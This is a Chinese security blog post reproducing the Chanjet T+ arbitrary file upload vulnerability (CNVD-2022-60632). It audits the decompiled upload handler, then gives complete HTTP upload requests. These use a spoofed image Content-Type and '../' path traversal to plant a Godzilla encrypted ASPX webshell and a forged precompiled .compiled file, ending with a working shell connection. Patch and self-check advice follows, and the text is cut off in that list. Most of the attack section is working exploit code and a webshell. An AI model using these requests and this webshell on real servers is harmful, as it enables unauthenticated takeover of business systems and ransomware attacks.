畅捷通T+任意文件上传(CNVD-2022-60632 )漏洞复现-526互联

一、漏洞描述

022年8月29日和8月30日，畅捷通公司紧急发布安全补丁修复了畅捷通T+软件任意文件上传漏洞。未经身份认证的攻击者利用该漏洞，通过绕过系统鉴权，在特定配置环境下实现任意文件的上传，从而执行任意代码，获得服务器控制权限。目前，已有用户被不法分子利用该漏洞进行勒索病毒攻击的情况出现。

CNVD对该漏洞的综合评级为“高危”。

二、影响范围

漏洞影响的产品和版本：
畅捷通T+单机版<=17.0且使用IIS10.0以下版本。

三、环境搭建

https://dad.chanapp.chanjet.com/TplusYZHJ17.0.zip

下载并解压文件

进行环境检测

开始检测

检测通过

安装

选择标准版进行安装，安装时请关闭杀毒软件

等待安装完成，过程中需要配置MSSQL 数据库的。不设置即可

安装完成

四、漏洞审计

根据网上流传的payload，找到文件

TPlusStd\WebSite\SM\SetupAccount\Upload.aspx

发现该文件为编译的文件
畅捷通整套程序用了预编译，直接到根目录的bin下找对应的compiled文件

TPlusStd\WebSite\bin\uploadapp.aspx.ae7ca9bd.compiled

<?xml version="1.0" encoding="utf-8"?>
<preserve resultType="3" virtualPath="/WebSite/App/UploadApp.aspx" hash="16f32931f" filehash="cea02207aaa6fee7" flags="110000" assembly="App_Web_uploadapp.aspx.ae7ca9bd" type="ASP.app_uploadapp_aspx">
    <filedeps>
        <filedep name="/WebSite/App/UploadApp.aspx" />
        <filedep name="/WebSite/App/UploadApp.aspx.cs" />
    </filedeps>
</preserve>

搜索 App_Web_uploadapp.aspx.ae7ca9bd

// CommonPage_SetupAccount_Upload
// Token: 0x06000004 RID: 4 RVA: 0x000020AC File Offset: 0x000002AC
protected void Page_Load(object sender, EventArgs e)
{
	this.ReadResources();
	if (base.Request.Files.Count == 1)
	{
		string text = "images/index.gif";
		object obj = this.ViewState["fileName"];
		if (obj != null)
		{
			text = obj.ToString();
		}
		if (this.File1.PostedFile.ContentLength > 204800)
		{
			base.Response.Write(string.Concat(new string[]
			{
				"<script language='javascript'>alert('",
				this.PhotoTooLarge,
				"'); parent.document.getElementById('myimg').src='",
				text,
				"';</script>"
			}));
			return;
		}
		if (this.File1.PostedFile.ContentType != "image/jpeg" && this.File1.PostedFile.ContentType != "image/bmp" && this.File1.PostedFile.ContentType != "image/gif" && this.File1.PostedFile.ContentType != "image/pjpeg")
		{
			base.Response.Write(string.Concat(new string[]
			{
				"<script language='javascript'>alert('",
				this.PhotoTypeError,
				"'); parent.document.getElementById('myimg').src='",
				text,
				"';</script>"
			}));
			return;
		}
		string fileName = this.File1.PostedFile.FileName;
		string text2 = fileName.Substring(fileName.LastIndexOf('\\') + 1);
		this.File1.PostedFile.SaveAs(base.Server.MapPath(".") + "\\images\\" + text2);
		string text3 = base.Server.MapPath(".") + "\\images\\" + text2;
		this.ViewState["fileName"] = "images/" + text2;
		TPContext.Current.Session["ImageName"] = text3;
	}
}

代码大概的意思为。上传的文件不大于2M 然后判断Content-Type 是否为其中一个类型。然后写入到images 目录中。文件名没有任何过滤。

构造一下上传代码

POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
Host: 192.168.154.139
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Length: 183

------WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Disposition: form-data; name="File1";filename="222.aspx"
Content-Type: image/jpeg

1
------WebKitFormBoundarywwk2ReqGTj7lNYlt--

查看images文件中是否有这个文件

发现能够成功上传

五、getshell

用哥斯拉生成一个木马

然后cmd执行

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe -v /  -p C:\Tools C:\111 -fixednames

-p 代表的是你木马的目录。 C:\111 表示生成在那个目录中。

执行完毕后查看C:\111\bin目录

把666.sapx上传到网站根目录

POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
Host: 192.168.154.129
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Length: 1327

------WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Disposition: form-data; name="File1";filename="../../../666.aspx"
Content-Type: image/jpeg

<%@ Page Language="C#"%><%try{string key = "3c6e0b8a9c15224a";byte[] data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(Context.Request.BinaryRead(Context.Request.ContentLength), 0, Context.Request.ContentLength);if (Context.Session["payload"] == null){ Context.Session["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data });}else{ object o = ((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY"); System.IO.MemoryStream outStream = new System.IO.MemoryStream();o.Equals(outStream);o.Equals(Context); o.Equals(data);o.ToString();byte[] r = outStream.ToArray();outStream.Dispose();Context.Response.BinaryWrite(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length));}}catch(System.Exception){}
%>                                      
------WebKitFormBoundarywwk2ReqGTj7lNYlt--

把这两个文件上传到畅捷通的网站根目录的bin文件夹下

POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
Host: 192.168.154.129
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Length: 502

------WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Disposition: form-data; name="File1";filename="../../../bin/666.aspx.cdcab7d2.compiled"
Content-Type: image/jpeg

<?xml version="1.0" encoding="utf-8"?>
<preserve resultType="3" virtualPath="/666.aspx" hash="88eec7b1a" filehash="ffffcef8fb51b1fb" flags="110000" assembly="App_Web_666.aspx.cdcab7d2" type="ASP._666_aspx">
    <filedeps>
        <filedep name="/666.aspx" />
    </filedeps>
</preserve>
------WebKitFormBoundarywwk2ReqGTj7lNYlt--

使用哥斯拉连接shell
http://192.168.154.129/tplus/666.aspx?preload=1

连接成功

六、修复建议

目前，畅捷通公司已紧急发布漏洞补丁修复该漏洞，CNVD建议受影响的单位和用户立即升级至最新版本：
https://www.chanjetvip.com/product/goods
同时，请受漏洞影响的单位和用户立即按照以下步骤开展自查和修复工作：
1、用户自查步骤：
查询本地是否存在website/bin/load.aspx.cdcab7d2.compiled、website/bin/App_Web_load.aspx.cdcab7d2.dll、tplus/Load.aspx文件，如存在说明已经中毒，须重装系统，并安装产品打补丁。

2、未中毒用户请：